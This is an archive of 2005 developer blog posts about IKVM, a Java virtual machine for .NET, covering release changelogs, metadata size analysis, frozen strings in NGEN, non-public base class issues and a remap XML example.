  • Moved bytecode error handling from compiler to verifier, so that the verifier can now accurately track what code is reachable (bytecode that gets compiled as an exception (e.g. NoSuchMethodError) typically results in unreachable code following that instruction). This change allows "broken" constructors to be compiled into verifiable CIL.
  • Moved array cloning hack (to workaround a bug javac) from compiler to verifier.
  • Fixed some unloadable type bugs.
  • Restructed verifier into two separate steps. The first step computes the stack and local variables types and the second step does the actual verification and reachability determination.
  • Changed jniproxy.dll (created with -Xsave) from module to assembly to make the main assembly verifiable.
  • Fixed stack walking to skip HideFromJava methods.
  • Fixed bug 1257044.
  • Moved Name and Signature to MemberWrapper.
  • Renamed MirandaMethodAttribute to HideFromReflectionAttribute.
  • Fixed ikvmc to only generate __Fields inner classes for public interfaces.
  • Added IKVM.Runtime.Util.GetFriendlyClassFromType() method. This is dumb name and subject to change.
  • Added (limited) support to remapper for adding methods to Java classes.
  • Added implicit conversion operator to java.lang.Class to convert from System.Type.
  • Optimized line number table encoding yet again.
  • Fixed bytecode compile to trigger class initializer for "new" bytecode and for accessing constant fields.
  • Changed class loading to reduce chance of inadvertantly hiding exceptions caused by bugs in the IKVM runtime.
  • Improved replacing of ClassNotFoundException with NoClassDefFoundError during class loading.
  • Made delegate helper interfaces private. This solves an incompatibility between ikvmc generated assemblies and C++/CLI, but ultimately this wasn't the reason for this change, the helper interfaces don't have type identity, so they shouldn't be used in public interfaces (preferably they should only be used in delegate instantiation).
  • Fixed class loading bugs that caused Class.forName("cli.java.lang.Object") and Class.forName("System.EventHandler$Method") to work.
  • Fixed ikvmc to no longer generate unused delegate helper interfaces.
  • Changed java.version system property to 1.4.2.
  • Fixed ikvmc to open input files as read-only.
  • Changed JNI methods GetPrimitiveArrayCritical/ReleasePrimitiveArrayCritical to allow up to two arrays to be pinned instead of copied.
  • Fixed compiler to mark all methods with MethodAttributes.HideBySig, to use correct method name resolution semantics when using an ikvmc generated assembly from C#.
  • Removed "ikvm.cleanstacktrace" system property and introduced IKVM_DISABLE_STACKTRACE_CLEANING environment variable to solve initialization order problem.

Files are available here: ikvm-0.20.0.0.zip (sources + binaries), ikvmbin-0.20.0.0.zip (binaries)

9/7/2005 9:46:47 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Tuesday, September 06, 2005

Mono users meeting at the Microsoft PDC

For some reason, this year's Mono BoF proposal was again not accepted. Fortunately, Miguel organized an alternative get together. If you're going to the PDC and you're interested in running your .NET applications on non-Microsoft platforms or simply interested in the state of the leading Open Source CLI implementation, this is a must attend event.
9/6/2005 3:22:39 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Monday, August 15, 2005

Revenge of the Non-Public Base Class

I think I've previously written about the stupidity of allowing public classes to extend non-public classes and implement non-public interfaces, but unfortunately in Java we have to live with this.

Last week rnaylor filed a bug that ikvmc created invalid code when calling public methods inherited from a non-public base class from another class (in another package).

A good example that is (sort of) equivalent to the problem in the bug report are the fields in the java.util.zip.ZipConstants interface. I'd link to the Javadoc for this interface, but it is a private type so there is no public documentation. However, this type still leaves it's marks on the public API, because several of the zip classes implement this interface. For example, ZipFile implements this interface and as a consequence it inherits a whole bunch of constants (i.e. public static final fields) that, as far as I can tell, serve no purpose whatsoever in the public API.

Before I checked in my fix yesterday, ikvmc didn't do anything special with these inherited fields or methods and because of this if you referenced these fields or methods from another assembly ikvmc would generate invalid code to access these members on the private base class and the .NET runtime would complain about this (by throwing System.MethodAccessException or System.FieldAccessException).

The fix was quite involved (the diff was about a thousand lines), because stub methods and field accessors need to be added to any public class that extends a non-public class or implements a non-public interface, however these stubs should not be visible to Java reflection, because that could potentially change the semantics of the code (e.g. for things like calculating the serial version UID). Additionally, while most fields should be exposed as properties (that read/write the field in the base class), constant fields need to be copied to retain their "constantness" when accessing them from another language (e.g. so that you can you say case ZipFile.CENATT: in C#). Another non-obvious consequence of these stub methods is that the stack walking code (in the security system and the code that generates the stack traces) needs to filter out these methods, because the system should function as if these methods weren't there.

The lesson here is that you have to be very careful when designing a class library in Java. I believe that the fields that the ZipConstants interface exposes on ZipFile, ZipEntry, etc. were actually an accident that the Sun developers failed to spot before shipping the original JDK. The general advice should be, don't have public classes extend non-public base classes and don't implement non-public interfaces on any of your public classes. Or at least have some tools in place that check for these inherited public members, to make you aware of them before shipping your library.

Finally, this problem doesn't occur in C#, because C# doesn't allow you to create a public class that extends a non-public base class. It does allow implementing non-public interfaces, but since interfaces can't have fields in C# that isn't a problem. An amusing note is that when you call an inherited public method (in a non-public base class) in an assembly that was generated with the broken version of ikvmc, the C# compiler will happily compile the call for you and the generated (invalid) code will again fail at runtime with a System.MethodAccessException.

8/15/2005 7:09:27 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

Saturday, August 06, 2005

Frozen Strings are Cool

First off all, sorry for the bad pun, but I couldn't resist. Once Whidbey ships, one of the areas that .NET will be light years ahead of Java is the ability to share memory between different instances of the runtime. Microsoft did lots of work in Whidbey to enable sharing of memory pages (e.g. see Rico's post). Sun did a little work in J2SE 5.0 to allow rt.jar to be shared across VM instances, but that's really not much compared with the sharing that NGEN enables on Whidbey.

Frozen Strings

One aspect that hasn't been written about much is the ability to pre-create string instances in NGENed images. What this means is that string literals are layed out in the .data section of the NGEN image exactly like they would be layed out when they are dynamically created by the CLR. So whenever you use a frozen string literal in your managed code you're simply passing around a pointer to static data in the NGEN image and not to an object in the GC heap. Since these strings live in the .data section of the image, the standard copy-on-write page sharing that the operating system uses for initialized data sections in images applies, so unless you modify the object somehow (more about this in a bit) all applications using that image will be sharing the same physical memory pages.

To get NGEN to create frozen strings for your string literals, you have to mark your assembly with the StringFreezingAttribute. Note that the downside of doing this is that your assembly will not be unloadable, because the frozen string instances that live in your image aren't tracked by the GC, the CLR needs to keep the image loaded for the lifetime of the process.

Copy-on-Write

Strings are immutable, so why did I mention modifying the object earlier? One obvious way to modify a string is to use unsafe (or native) code to poke inside the string (a really bad idea!), but there are other ways of "modifying" immutable objects. The first is to use an object as a monitor (using Monitor.Enter or the C# lock() construct) and the second is to get the object's identity hashcode by calling System.Runtime.CompilerServices.RuntimeHelpers.GetHashCode() or doing a non-virtual call to Object.GetHashCode() on the object. Using an object as a monitor will cause the object header to be used as a lightweight lock or as an index into the syncblock table that contains the heavyweight lock, so this can mutate the object (header). Locking on string literals was always a bad idea, because they're probably interned so they may be shared by other pieces of code that you don't know about and they can also be passed across AppDomain boundaries, but in Whidbey there is the additional (potential) cost of having to take a page fault and having to make a private copy of the page containing the strings object header, if the string is frozen. The second issue (identity hashcode) turns out not to be an issue for frozen strings, because NGEN pre-computes an identity hashcode for frozen strings, so RuntimeHelpers.GetHashCode() will simply return the value that was pre-computed and stored in the object header.

8/6/2005 6:52:03 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Friday, July 22, 2005

0.18 Released

I released 0.18.0.0 to SourceForge.

7/22/2005 8:56:55 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Tuesday, July 19, 2005

Assembly File Size

Yesterday's release candidate has a much smaller IKVM.GNU.Classpath.dll than the previous release candidate. As I noted this is due to some optimizations in the metadata. Let's look at the file size of IKVM.GNU.Classpath.dll over time:

Date IKVM Version File Size (bytes)
2004-06-28 0.8.0.0 3,239,936
2005-01-10 0.10.0.1 7,348,224
2005-03-02 0.12.0.0 7,409,664
2005-05-07 0.14.0.1 7,483,392
2005-07-01 0.16.0.0 7,266,304
2005-07-18 0.18.0.0 6,782,976


For reference, here's a graph that shows the growth of GNU Classpath:

The big jump in size between 0.8 and 0.10 is mostly due to three reasons: 1) Long period between releases, 2) Huge growth in GNU Classpath, 3) 0.10 for the first time includes source file names and line number tables (to be able to show source files and line numbers in stack traces).

The size reduction in 0.16 was due to a more efficient format for the line number tables. After making this optimization in 0.16, I wanted to investigate exactly what makes up the size of IKVM.GNU.Classpath.dll, but I couldn't find any tools to analyse a managed PE file based on this criterion. So I opened the ECMA specification and hacked together some code. Here's what I found:

First, let's start with the size of the Java classes and resources that IKVM.GNU.Classpath.dll consists of (to have some reference):

 

bytes

Classes 9,694,349
Resources 2,016,851
Total 11,711,200
Zipped 5,843,852


So, compared with the uncompressed size of the classes and resources, the size of IKVM.GNU.Classpath.dll isn't too bad at all.

Here's a breakdown of the parts of the PE file structure:

  bytes
PE Headers/overhead 4,096
.text section 6,770,688
.rsrc section 4,096
.reloc section 4,096


Not very interesting, except maybe that there is a .reloc section that I don't understand the need for, since there's only managed code in this module.

A little more interesting is a breakdown of the .text section:

  bytes
Unknown 8
CLI Header 72
Code + resources 3,651,236
Managed metadata 3,116,284
Filler (alignment) 3,088


Here's a breakdown of the managed metadata:

  bytes
Metadata Header 32
#~ header 12
#Strings header 20
#US header 12
#GUID header 16
#Blob header 16
#~ stream 1,704,068
String heap 356,048
Userstring heap 327,652
GUID heap 16
Blob heap 728,392


And finally, a breakdown of the #~ stream:

  bytes
Header 112
Module table 12
TypeRef table 2,210
TypeDef table 79,146
Field table 148,620
Method table 669,870
Param table 220,448
InterfaceImpl table 9,472
MemberRef table 5,424
Constant table 47,370
CustomAttribute table 488,676
StandAloneSig table 24,216
PropertyMap table 8
Property table 90
MethodSemantics table 66
MethodImpl table 600
ModuleRef table 8
TypeSpec table 400
ImplMap table 108
Assembly table 28
AssemblyRef table 112
ManifestResource table 3,654
NestedClass table 3,416
Filler (alignment) 2


For those unfamiliar with the CLI metadata specification, these tables contain fixed length records and the fields in the records typically contain flags, indexes into other tables or pointers into a string, userstring or blob heap, or an offset into the Code + resources part of the .text section.

From the above table It should be obvious that the custom attributes contribute a significant part of the file size (and remember, this is the 0.18 version of IKVM.GNU.Classpath.dll that has already been optimized quite a bit).

In my analysis tool I built specific code to look at the sizes of the custom attributes and here's the report it generated:

Custom Attributes
-----------------
Total Blob Bytes:  527670
Total Table Bytes: 488676

Type         Constructor
----         -----------
0x0000000B   IKVM.Attributes.SourceFileAttribute::.ctor(20 01 01 0E ( ...))
0x00000013   IKVM.Attributes.JavaModuleAttribute::.ctor(20 00 01 ( ..))
0x0000001B   IKVM.Attributes.RemappedTypeAttribute::.ctor(20 01 01 12 15 ( ....))
0x00000023   IKVM.Attributes.ModifiersAttribute::.ctor(20 01 01 11 1D ( ....))
0x0000002B   IKVM.Attributes.GhostInterfaceAttribute::.ctor(20 00 01 ( ..))
0x00000033   IKVM.Attributes.HideFromJavaAttribute::.ctor(20 00 01 ( ..))
0x0000003B   IKVM.Attributes.ImplementsAttribute::.ctor(20 01 01 1D 0E ( ....))
0x00000043   System.ThreadStaticAttribute::.ctor(20 00 01 ( ..))
0x0000004B   System.ObsoleteAttribute::.ctor(20 00 01 ( ..))
0x00000053   IKVM.Attributes.InnerClassAttribute::.ctor(20 02 01 0E 11 1D ( .....))
0x0000005B   IKVM.Attributes.ExceptionIsUnsafeForMappingAttribute::.ctor(20 00 01 ( ..))
0x00000063   System.ComponentModel.EditorBrowsableAttribute::.ctor(20 01 01 11 80 FD ( .....))
0x0000006B   IKVM.Attributes.NameSigAttribute::.ctor(20 02 01 0E 0E ( ....))
0x00000073   IKVM.Attributes.ThrowsAttribute::.ctor(20 01 01 1D 0E ( ....))
0x0000007B   IKVM.Attributes.RemappedInterfaceMethodAttribute::.ctor(20 02 01 0E 0E ( ....))
0x0000010B   IKVM.Attributes.LineNumberTableAttribute::.ctor(20 01 01 1D 05 ( ....))
0x0000023B   IKVM.Attributes.MirandaMethodAttribute::.ctor(20 00 01 ( ..))
0x000008A3   IKVM.Attributes.ConstantValueAttribute::.ctor(20 01 01 08 ( ...))
0x00000DFB   System.Diagnostics.DebuggableAttribute::.ctor(20 02 01 02 02 ( ....))
0x00000E03   IKVM.Attributes.RemappedClassAttribute::.ctor(20 02 01 0E 12 15 ( .....))
0x00000E0B   System.Reflection.AssemblyCompanyAttribute::.ctor(20 01 01 0E ( ...))
0x00000E13   System.Reflection.AssemblyCopyrightAttribute::.ctor(20 01 01 0E ( ...))
0x00000E1B   System.Reflection.AssemblyTitleAttribute::.ctor(20 01 01 0E ( ...))
0x00000E23   System.Reflection.AssemblyProductAttribute::.ctor(20 01 01 0E ( ...))

Type            Count  Blob Bytes  Total Bytes
----            -----  ----------  -----------
0x0000000B        917        7522        18526
0x00000013          1           5           17
0x0000001B          4         404          452
0x00000023        390         140         4820
0x0000002B          3           0           36
0x00000033        593           0         7116
0x0000003B       1785       33923        55343
0x00000043          6           0           72
0x0000004B        389           0         4668
0x00000053        776        3689        13001
0x0000005B         42           1          505
0x00000063         68           9          825
0x0000006B         89        2982         4050
0x00000073       5657       22069        89953
0x0000007B          1          25           37
0x0000010B      29864      456058       814426
0x0000023B        128           0         1536
0x000008A3          1           9           21
0x00000DFB          1           7           19
0x00000E03          4         479          527
0x00000E0B          1          21           33
0x00000E13          1         272          284
0x00000E1B          1          41           53
0x00000E23          1          14           26

For comparison, here's the same table for the 0.16 version:

Custom Attributes
-----------------
Total Blob Bytes:  638882
Total Table Bytes: 631896

Type         Constructor
----         -----------
0x0000000B   IKVM.Attributes.JavaModuleAttribute::.ctor(20 00 01 ( ..))
0x00000013   IKVM.Attributes.SourceFileAttribute::.ctor(20 01 01 0E ( ...))
0x0000001B   IKVM.Attributes.RemappedTypeAttribute::.ctor(20 01 01 12 15 ( ....))
0x00000023   IKVM.Attributes.ModifiersAttribute::.ctor(20 01 01 11 1D ( ....))
0x0000002B   IKVM.Attributes.GhostInterfaceAttribute::.ctor(20 00 01 ( ..))
0x00000033   IKVM.Attributes.HideFromJavaAttribute::.ctor(20 00 01 ( ..))
0x0000003B   IKVM.Attributes.ImplementsAttribute::.ctor(20 01 01 1D 0E ( ....))
0x00000043   System.ThreadStaticAttribute::.ctor(20 00 01 ( ..))
0x0000004B   System.ObsoleteAttribute::.ctor(20 00 01 ( ..))
0x00000053   IKVM.Attributes.InnerClassAttribute::.ctor(20 04 01 0E 0E 0E 11 1D ( .......))
0x0000005B   IKVM.Attributes.ExceptionIsUnsafeForMappingAttribute::.ctor(20 00 01 ( ..))
0x00000063   System.ComponentModel.EditorBrowsableAttribute::.ctor(20 01 01 11 80 FD ( .....))
0x0000006B   IKVM.Attributes.NameSigAttribute::.ctor(20 02 01 0E 0E ( ....))
0x00000073   IKVM.Attributes.ThrowsAttribute::.ctor(20 01 01 1D 0E ( ....))
0x0000007B   IKVM.Attributes.RemappedInterfaceMethodAttribute::.ctor(20 02 01 0E 0E ( ....))
0x0000010B   IKVM.Attributes.LineNumberTableAttribute::.ctor(20 01 01 1D 05 ( ....))
0x00000233   IKVM.Attributes.MirandaMethodAttribute::.ctor(20 00 01 ( ..))
0x000008A3   IKVM.Attributes.ConstantValueAttribute::.ctor(20 01 01 08 ( ...))
0x00000DFB   System.Diagnostics.DebuggableAttribute::.ctor(20 02 01 02 02 ( ....))
0x00000E03   IKVM.Attributes.RemappedClassAttribute::.ctor(20 02 01 0E 12 15 ( .....))
0x00000E0B   System.Reflection.AssemblyCompanyAttribute::.ctor(20 01 01 0E ( ...))
0x00000E13   System.Reflection.AssemblyCopyrightAttribute::.ctor(20 01 01 0E ( ...))
0x00000E1B   System.Reflection.AssemblyTitleAttribute::.ctor(20 01 01 0E ( ...))
0x00000E23   System.Reflection.AssemblyProductAttribute::.ctor(20 01 01 0E ( ...))

Type            Count  Blob Bytes  Total Bytes
----            -----  ----------  -----------
0x0000000B          1           5           17
0x00000013       4216       82327       132919
0x0000001B          4         404          452
0x00000023       5829         224        70172
0x0000002B          3           0           36
0x00000033       3209           0        38508
0x0000003B       1775       33852        55152
0x00000043          6           0           72
0x0000004B        389           0         4668
0x00000053        766       78090        87282
0x0000005B         42           1          505
0x00000063         68           9          825
0x0000006B         89        2982         4050
0x00000073       5650       22069        89869
0x0000007B          1          25           37
0x0000010B      30469      418060       783688
0x00000233        131           0         1572
0x000008A3          1           0           12
0x00000DFB          1           7           19
0x00000E03          4         479          527
0x00000E0B          1          21           33
0x00000E13          1         272          284
0x00000E1B          1          41           53
0x00000E23          1          14           26

One notable item is that the line number tables have grown in 0.18, this is due to the fact that 0.18 has been compiled with the Eclipse Java Compiler whereas 0.16 was compiled with Jikes. For some reason, the Eclipse compiler generates larger line number tables. I haven't investigated this yet.

The new -strictfinalfieldsemantics ikvmc option was the direct result of studying the impact of metadata on the file size. Without this option, public and protected final fields are converted into readonly properties and the field requires and additional attribute. With the option, final fields are converted into initonly fields, which has the same semantics under a strict interpretation of the 1.5 VM specification. This option alone saves 155,648 bytes.

Looking at the custom attribute sizes, there appears to be more room for improvement. In particular, the ThrowsAttribute, InnerClassAttribute and ImplementsAttribute can benefit from using tokens instead of encoding the class names in the constructor blob, but the required APIs to resolve tokens are new in Whidbey, so for the time being that isn't an option.

Another long term improvement would be to include the line number tables in the method IL (or after the IL), to save on the records in the custom attribute table (which contribute a very significant 358,368 bytes). This would probably be possible in Whidbey by using MethodBody.GetILAsByteArray(), but it would be nicer if the ECMA spec would be extended to support this directly (it would also remove the need for the ridiculously large PDB files simply to get line numbers in stack traces for other .NET applications).

7/19/2005 11:06:52 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Monday, July 18, 2005

IKVM 0.18 rc1

The previous release candidate 0.16 rc1 never actually made it to release because of a GNU Classpath showstopper bug. Thanks to Mark Wielaard for working hard to quickly do a follow up GNU Classpath release that fixes the problem and includes a number of other improvements. I haven't made many changes to IKVM in the mean time, the only major one being that I focussed some effort on reducing the size of the metadata of IKVM.GNU.Classpath (and as a side effect for most other ikvmc generated assemblies as well). I also switched to the Eclipse Java Compiler  because Jikes generates code that is incompatible with the new -strictfinalfieldsemantics ikvmc option.

Update japi results are available here.

Changes:

  • Integrated GNU Classpath 0.17.
  • Switched to the Eclipse Java Compiler for compiling GNU Classpath (not just the generics branch).
  • Added optimization to only store source file name is the name differs from the class name + ".java"
  • Simplified and optimized inner class attribute metadata.
  • Added -strictfinalfieldsemantics option to ikvmc to generate more efficient (and 1.5 spec compliant) code. Note that this is not enabled by default for maximum compatibility with the Sun JVM (which isn't compliant with the 1.5 spec).
  • Rely less on HideFromJavaAttribute and more on naming conventions to use less metadata.
  • Changed ikvm.exe to ignore common -X options that java.exe supports.
  • Changed java.version system property to 1.4.1 to support Eclipse 3.1.
  • Added GNU Classpath version to ikvm.exe -version output.

Files are available here: ikvm-0.18.0.0.zip (sources + binaries), ikvmbin-0.18.0.0.zip (binaries)

7/18/2005 10:09:06 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Friday, July 01, 2005

IKVM 0.16 rc1

GNU Classpath 0.16 was released yesterday, so I've made a new IKVM release based on it. An interesting new feature in this release is that you can now debug dynamically loaded Java classes in the June CTP of Visual Studio 2005. Note that this only works if you start your application in the Visual Studio debugger (at startup the IKVM runtime checks System.Diagnostics.Debugger.IsAttached to determine if it should emit debugging information or not).

Update japi results are available here.

Changes:

  • Integrated GNU Classpath 0.16.
  • Fixed GC race condition for remapped exceptions (introduced in previous snapshot).
  • Added support for naming method/constructor parameters in map.xml.
  • Added support for attaching attributes to parameters in map.xml.
  • Named all method/constructor parameters in map.xml.
  • Changed ExceptionHelper.readObject to not convert ClassNotFoundException into IOException.
  • Named parameters for Cast, CastArray, IsInstance and IsInstanceArray methods in ghost structures.
  • Removed support for "deprecated" attribute in map.xml. Marking methods deprecated in map.xml can now be done by applying the System.ObsoleteAttribute attribute.
  • Removed support for "hidefromjava" attribute in map.xml. Marking methods HideFromJava in map.xml can now be done by applying the IKVM.Attributes.HideFromJavaAttribute attribute.
  • Instancehelper methods on java.lang.String are no longer EditorBrowable(Never).
  • Only emit method parameter names for public/protected methods in public types.
  • Interface methods and methods that don't have debug info now get synthesized parameter names.
  • A couple of "random" awt fixes.
  • Added support for P/Invoke (DllImportAttribute).
  • Moved ikvmc specific compiler support to AotTypeWrapper class.
  • Fixed member access checks (for real this time).
  • Moved native methods of FileChannelImpl and MappedByteBufferImpl from IKVM.Runtime to IKVM.GNU.Classpath (using P/Invoke from Java).
  • Added -fileversion option to ikvmc to set the unmanaged file version.
  • Added call to AssemblyBuilder.DefineVersionInfoResource() to ikvmc, so that a version info resource is now automatically created (the contents are based on the various assembly attributes and the -version and -fileversion options).
  • Fixed possible (but unlikely) NullReferenceException in ClassLoaderWrapper.FinishAll() when it encounters a type that cannot be finished for some reason.
  • Made the line number table encoding a little more efficient.
  • Changed build process to support building the GNU Classpath generics branch (in addition to the main branch).
  • Added a hack to ikvmstub to export generic type instantiations. This enables a usable mscorlib.jar to be generated from the 2.0 version of mscorlib.dll.
  • Implement reversible name mangling for .NET type names (to handle generic type instantiations).
  • Fixed name mangling for delegate inner classes.
  • Set DebuggableAttribute to assembly before creating the module, to make sure Visual Studio (Whidbey) picks up the attribute when debugging dynamically generated code.
    Fixed possible System.ArgumentException in Class.forName() (when trying to load a class with a name that is invalid in .NET)
  • Fixed JNI_GetCreatedJavaVMs to accept null pointer for nVMs.
  • Fixed class name in error message for VerifyError that occurs when overriding a final method.
  • Added workaround to make dynamic debugging work in Whidbey June CTP.

Files are available here: ikvm-0.16.0.0.zip (sources + binaries), ikvmbin-0.16.0.0.zip (binaries)

7/1/2005 12:47:52 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Wednesday, June 29, 2005

The Eclipse Java Compiler

For the past three years I've been using the Jikes compiler to build GNU Classpath, but unfortunately Jikes development isn't very active anymore. I wanted to start playing with the GNU Classpath generics branch (the branch that contains the classes that require 1.5 specific language features), so I needed a compiler that could compile the generics branch and was freely available. The Eclipse Java Compiler was the obvious choice and while I ran into two bugs when I tried to compile the generics branch, the bugs were fixed within hours after I filed them, that kind of responsiveness is confidence inspiring.

The next IKVM release (hopefully due next week) will still be built with Jikes, but future releases will most likely be built with the Eclipse Java Compiler. To make this easier I've used ikvmc to compile it to ecj.exe and created a Windows installer that installs ecj.exe and adds IKVM.GNU.Classpath.dll and IKVM.Runtime.dll to the Global Assembly Cache. If you're not on Windows, you can download ecj.exe in this zipfile. Note that ecj.exe requires Mono 1.1.8.1 or later.

6/29/2005 2:51:00 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Thursday, June 23, 2005

PDC '05

From September 13 thru 16 I'll be in Los Angeles for the Microsoft Professional Developer Conference.

If anyone wants to meet up and hang out or chat, drop me a note.

6/23/2005 3:56:19 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Monday, May 23, 2005

New Snapshot

Partial Trust

I did some research into supporting partial trust and it looks like it might be feasible. This snapshot already contains some changes to better support running in partial trust (particularly for IKVM.GNU.Classpath, IKVM.Runtime contains unsafe code so it currently needs to be trusted). On .NET 1.1 non of the built in partial trust permission sets are suitable, because I require ReflectionPermission(ReflectionPermissionFlag.TypeInformation). In Whidbey this permission flag is deprecated, so the story looks more promissing there.

One of the consequences of adding partial trust support is that IKVM.Runtime.dll will need to be split into several parts. At the very least the JNI implementation will need to be in a separate assembly, so that the common non-JNI scenarios won't require SkipVerification permission.

Exception Handling

I made some major changes to exception handling in this version. However, for Java code nothing should change (except that it hopefully runs a little bit faster), but for .NET/Java interop there are some important changes:

  • Exceptions generated by the CLR or .NET code (e.g. System.NullReferenceException) will no longer be changed into their Java equivalents for non-Java code. This means that when you catch an exception in IKVM Java code, you'll still see the corresponding Java exception (e.g. java.lang.NullPointerException), but when you rethrow the exception, the original exception gets thrown.
  • When Java code explicitly throws a .NET exception (e.g. System.NullReferenceException) it is no longer remapped to the Java equivalent.
  • Catching exceptions now faithfully corresponds to the IKVM type system. This means that you can now use catch(cli.System.Exception) to catch the unremapped .NET exceptions.

This is a major step towards my ultimate vision for exception handling, but I'm not nearly there yet. Other changes I want to make include adding more exception state to java.lang.Throwable instead of the WeakHashMap construct that is currently used (the WeakHashMap will still be required to associate the .NET exceptions with their remapped Java exceptions). I also want to use exception filters to check for remapped exceptions, to make the debugging experience better and the bytecode compiler needs to be improved to recognize try {} finally {} constructs so that they can be compiled as .NET try {} finally {} blocks, instead of the currently used and vastly less efficient try {} catch() { throw; }.

Other News

Mark Proctor reports that Drools runs on IKVM.

Changes:

  • Sync'ed with GNU Classpath cvs.
  • Removed VMClass.forName() implementation (rely on standard implementation instead).
  • Fixed ikvmc to ignore directories in jars.
  • Added "isStatic" parameter to JNI methods ToReflectedMethod and ToReflectedField (this parameter is missing in the JNI specification, but exists in the Sun implementation).
  • Removed workaround for previously unimplemented MethodBase.GetMethodFromHandle in Mono from JNI code.
  • Removed workaround for previously broken GCHandle.IsAllocated in Mono.
  • Removed workaround for previously broken Assembly.GetTypes() in Mono.
  • Disabled finalizer in MemberWrapper (since code unloading isn't supported, members will never be finalized anyway).
  • Added MirandaMethod to MemberFlags.
  • Fixed cosmetic bug in verifier that caused unloadable array types to be named incorrectly.
  • Implemented 1.5 java.lang.String methods (except String.format()).
  • Added ldsfld instruction support to remapper.
  • Implemented ikvmc -compressresources option, to use a simple compression algorithm for resources.
  • Classpath locale information is now in *.properties files instead of classes with resource compression this shaves a couple of hundred KB of the size of IKVM.GNU.Classpath.
  • Many changes to exception handling to improve performance, compatibility and consistency.
  • Added EditorBrowsable(Never) attribute to helper methods in java.lang.Throwable.
  • Fixed method "cloaking" (i.e. hiding .NET methods on Java types in IntelliSense) to hide inherited static methods as well.
  • Various fixes to work towards supporting running in partial trust.
  • Fixed ikvmc bug that caused it to run Java code when tracing was enabled.
  • Added support for applying CodeAccessSecurityAttribute derived attributes (although not at the assembly level yet).
  • Fixed a Miranda bug that caused incorrect classes to be generated for abstract classes implementing java.lang.Comparable but not implementing compareTo.
  • Implemented support for applying attributes to methods/fields defined in map.xml.
  • Changed reflection to disallow reflecting on IKVM.Runtime types (to avoid potential security holes, where Java code can access internal members of IKVM.Runtime).
  • Enabled generation of debug info when a debugger is attached (at the time the runtime is initializing), to allow debugging of dynamically generated code (a Whidbey feature, although in beta 2 it doesn't work yet).
  • Added check to ikvmc to make sure that referenced ikvmc-generated assemblies were compiled with the same version of the ikvm runtime.

New snapshots: just the binaries and source plus binaries.

5/23/2005 11:31:14 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Wednesday, May 18, 2005

Cross Language Debugging in MonoDevelop

Lluis Sánchez posted some cool screencasts that demo cross language debugging in MonoDevelop [via Miguel de Icaza].

5/18/2005 2:16:45 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Wednesday, May 11, 2005

IKVM 0.14 Released

I released 0.14 and put the files up on SourceForge. The bits are identical to Monday's rc2.

5/11/2005 2:43:20 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Monday, May 09, 2005

Harmony

There's been a lot of confusion about Harmony in the last couple of days. I don't pretend to speak on behalf of the project, but I wanted to give my take on it.

The primary goal of Harmony is to create a J2SE 5 implementation under the Apache License. Many people have interpreted this as meaning that the ASF would start building a JVM and class library from scratch, but that's not the intention at all (although it is a possible worst case scenario). Talks are ongoing between the FSF and ASF to try and work together to change the GNU Classpath license to be compatible with the Apache License. In this light it is important to note that GNU Classpath is already licensed under a modified version the GPL that is more liberal to attract more developers and users. Another thing to note is that the FSF owns all copyright on GNU Classpath (each individual contributor signs over their copyright to the FSF), so the FSF can relatively easily change the license of GNU Classpath (or, for example, dual license it).

In his "Fork in the Open Source Java world" blog entry (a title I obviously disagree with) Miguel argues that the GPL may be a liability instead of an asset for some open source projects. I tend to agree with his view, the GPL and the FSF activism scare many people away, and even with a more liberal license there exist strong motivational factors for companies to work with the community instead of forking a large project and improving only their private version.

As for the pretentious name, all I can say is that I had nothing to do with that :-)

Update: Mark Wielaard corrects me:

And just to correct a little information in Jeroen's latest blog. The FSF/ASF talks are about the general (L)GPL/ASL 2.0 incompatabilities. We do hope to finally solve those since most of them are just legal technicalities and misunderstandings/misinterpretations. (This is something I think is of even more value then this new harmony project).

The current exception statement to the GPL used by GNU Classpath is compatible with and acceptable to the Apache community. But the FSF did say that IF the exception statement was in any way unclear THEN they would certainly be willing to clarify it so that there was no obstacle for adoption of GNU Classpath. There currently doesn't seem any need to do this though.

5/9/2005 10:05:34 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Release Candidate 2

Thanks to M. David Peterson for reporting a regression in rc1. I fixed that and created rc2.

Files:

ikvm-0.14-rc2.zip  (source + binaries)
ikvmbin-0.14-rc2.zip   (binaries)

Changes:

  • Fixed regression in member access check that caused public members inherited from a non-public base class in a different package not to be accessible.
  • Merged ikvm-native FreeBSD compilation fixes from Mono's svn back in.
  • Updated all assembly versions to 0.14.0.1 (including JVM.DLL that I forgot in rc1).
5/9/2005 9:24:36 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Monday, May 02, 2005

IKVM 0.14 rc1

GNU Classpath 0.15 was released yesterday, so based on that I'm releasing a new version of IKVM. Besides the many improvements to GNU Classpath, there have been a bunch of IKVM fixes and two major new features: support for defining .NET properties and for applying .NET attributes. Both these features are controlled via the xml remap file. Here's an example Java class with corresponding xml file:
public class IntList
{
  private int[] list;
  public IntList(int size)
  {
    list = new int[size];
  }
  public void setItem(int index, int value)
  {
    list[index] = value;
  }
  public int getItem(int index)
  {
    return list[index];
  }
}
<?xml version="1.0" encoding="utf-8" ?>
  <root>
    <assembly>
     <class name="IntList">
       <attribute type="System.Reflection.DefaultMemberAttribute, mscorlib" sig="(Ljava.lang.String;)V">
         <parameter>Item</parameter>
       </attribute>
       <property name="Item" sig="(I)I">
         <getter name="getItem" sig="(I)I" />
         <setter name="setItem" sig="(II)V" />
       </property>
     </class>
  </assembly>
</root>

When IntList.java is compiled to IntList.class and then ikvmc'ed using:

   ikvmc IntList.class -remap:IntList.xml

The resulting IntList.dll will be usable from C# like this:

   IntList l = new IntList(10);
   l[4] = 42;
   Console.WriteLine(l[4]);

